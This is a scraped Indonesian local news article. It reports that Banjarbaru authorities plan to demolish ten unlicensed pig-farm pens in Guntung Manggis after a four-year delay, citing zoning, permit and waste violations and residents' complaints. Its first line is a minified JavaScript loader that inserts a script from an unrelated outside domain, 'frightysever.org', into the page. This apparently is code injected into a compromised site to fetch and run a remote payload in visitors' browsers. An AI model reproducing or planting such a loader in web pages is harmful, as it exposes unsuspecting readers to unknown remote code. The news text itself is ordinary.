(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Empat Tahun Eksekusi Kandang Babi di Guntung Manggis Tertunda


KANALKALIMANTAN.COM, BANJARBARU – Rencana pembongkaran kandang peternakan babi tak berizin di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, akan terlaksana setelah empat tahun tak bisa dieksekusi.

Sekretaris Daerah (Sekda) Kota Banjarbaru, Said Abdullah mengatakan, rapat final teknis pembongkaran kandang babi telah dilaksanakan pada bulan Februari 2020 silam.

“Namun karena terkendala dengan pemilik kandang terkait pembongkaran sendiri pada tanggal 1 Mei 2020 kami tunda, ditambah dengan pandemi maka pembongkaran tertunda lagi sampai hari ini,” ujar Said Abdullah saat menghadiri rapat teknis pembongkaran peternakan babi, Rabu (20/3/2024) pagi.

Baca juga: Warga Gang Damai Kelayan Diserang Kelompok Remaja Bersenjata Tajam

Sekda Kota Banjarbaru, Said Abdullah. Foto wanda

Pemerintah Kota (Pemko) Banjarbaru, Rabu (20/3/2024) pagi, kembali melaksanakan rapat teknis pembongkaran peternakan babi yang terdata 10 kandang di Jalan Danau Seran.

Satpol PP Kota Banjarbaru sebagai penegak Perda akan memimpin jalannya eksekusi pembongkaran pada Kamis (28/3/2024) mendatang.

“Kita tinggal melaksanakan eksekusi saja, Satpol PP sudah memberikan surat peringatan pertama sampai ketiga, dan bahkan sudah menempelkan segel penutupan serta untuk meminta pemilik membongkar sendiri,” ungkap dia.

Jika masih ditemukan bangunan peternakan yang belum dibongkar mandiri oleh pemiliknya, kata dia, maka akan langsung dibongkar oleh petugas.

Baca juga: Peternakan Babi di Danau Seran Guntung Manggis Dibongkar 28 Maret

Sebab, Sekda menerangkan bahwa pemilik ternak sudah terbukti melanggar 4 ketentuan. Pertama terkait tata ruang, di mana peternakan itu berada di daerah permukiman warga.

“Kedua bangun tersebut tidak memiliki izin dan bertentangan dengan Perda bangunan, ketiga tentu keberadaan ternaknya tidak berizin, dan terakhir terkait lingkungan seperti limbahnya yang juga tidak dikelola oleh pemilik,” sebutnya.

Di samping itu, disebutkannya, aturan terkait izin untuk berternak babi juga tidak bisa dikeluarkan jika tata ruang sudah tidak berkesesuaian.

Lurah Guntung Manggis, Zikru Rakhman. Foto: wanda

Sementara itu, Lurah Guntung Manggis Zikru Rakhman mengatakan, terkait eksekusi pembongkaran ini akan segera pihaknya kordinasikan dan sampaikan langsung kepada warganya.

Baca juga: Anggarkan Rp 20 Miliar, Dinas PUPR Kalsel Rehabilitasi Jalan Perkantoran Pemprov

“Karena laporan permasalahan ini datang langsung dari masyarakat yang resah dengan keberadaan kandang babi, jadi Insyaallah mereka siap dan mendukung,” ungkap Zikru Rakhman, saat diwawancarai usai rapat di Aula Satpol PP Banjarbaru.

Menurutnya 10 kandang peternakan babi tersebut selama ini terus menjadi bulan-bulanan warga karena letaknya berdekatan dengan permukiman.

“Kami lihat selain tata ruangnya yang sudah tidak sesuai, ditambah dengan pengelolaan limbahnya juga ikut merugikan warga, mulai dari bau hingga kotorannya,” sebutnya.

Kendati demikian, ia menyebutkan bahhwa permasalahan limbah ini juga sangat krusial jika disangkutpautkan dengan peternakan yang letaknya ada di tengah permukiman.

Baca juga: Pengedar Sabu di Sungai Malang Dibekuk Satresnarkoba Polres HSU

Tidak hanya peternakan babi saja, namun juga peternakan lain, jika permasalahan limbah tak dapat dikelola dengan baik tentu akan merugikan warga sekitar.

“Jadi tidak hanya kandang babi saja, namun semua peternakan kita perlakukan sama. Mau itu ternak ayam, sapi, kambing kalau menganggu dan merugikan masyarakat sudah dipastikan akan diprotes,” tuntas dia.

Oleh sebab itu dirinya menghimbau masyarakat, khususnya pemilik peternakan agar bisa mengelola limbah sesuai dengan ketentuan lingkungan hidup. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

40 menit ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

45 menit ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

54 menit ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

12 jam ago

Rekayasa Pemasangan ATCS, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

13 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

14 jam ago

This website uses cookies.